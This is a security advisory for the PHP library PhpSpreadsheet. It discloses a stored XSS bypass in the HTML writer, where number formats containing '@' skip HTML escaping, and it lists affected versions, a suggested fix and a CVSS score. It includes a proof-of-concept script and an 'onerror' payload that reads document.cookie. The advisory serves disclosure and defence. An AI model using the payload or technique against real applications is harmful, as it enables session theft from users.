XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer

Moderate **oleibman** published **GHSA-hrmw-qprp-wgmc** last week

Package

phpoffice/phpspreadsheet (Composer)

Affected versions	Patched versions
>= 4.0.0, <= 5.6.0	5.7.0
>= 3.3.0, <= 3.10.4	3.10.5
>= 2.2.0, <= 2.4.4	2.4.5
>= 2.0.0, <= 2.1.15	2.1.16
<= 1.30.3	1.30.4

Description

Hi,

I found a way to bypass the HTML escaping in the HTML writer using custom number format codes.

The Problem

In `Writer/Html.php` around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply `htmlspecialchars()`:

```
if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, ...);
}
```

When a cell has a custom number format containing `@` (text placeholder) with any additional literal characters, the formatter replaces `@` with the cell value and adds the extra characters. This makes `$cellData !== $origData`, so `htmlspecialchars()` is **skipped entirely**.

Even a single trailing space in the format (`@ `) is enough to bypass the escape.

Proof of Concept

```
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
use PhpOffice\PhpSpreadsheet\Cell\DataType;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

// XSS payload with malicious number format
$sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataTyp
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');

$writer = new Html($spreadsheet);
$writer->save('output.html');
```

The generated HTML contains:

```
<td>. <img src=x onerror=alert(document.cookie)></td>
```

The XSS payload is **completely unescaped**.

Tested Bypass Formats

Format Code	Result	Escaped?
`General` (default)	Original value	YES (safe)
`. @`	`.` + value	**NO (XSS!)**
`@ ` (trailing space)	value + ` `	**NO (XSS!)**
`x@`	`x` + value	**NO (XSS!)**

I tested this with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.

Impact

Any application that:

1. Accepts uploaded XLSX files from users
2. Converts them to HTML using PhpSpreadsheet's HTML writer
3. Displays the HTML to other users

...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's `xl/styles.xml`.

Suggested Fix

Always apply `htmlspecialchars()` regardless of whether formatting changed the value:

```
// Instead of conditional escaping:
$cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
```

Or escape AFTER formatting, not conditionally based on equality.

Best regards,
Keyvan Hardani

Severity

Moderate 5.4 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	Required
Scope	Changed
Confidentiality	Low
Integrity	Low
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

CVE ID

CVE-2026-40296

Weaknesses

▶ CWE-79

Credits

Keyvanhardani Reporter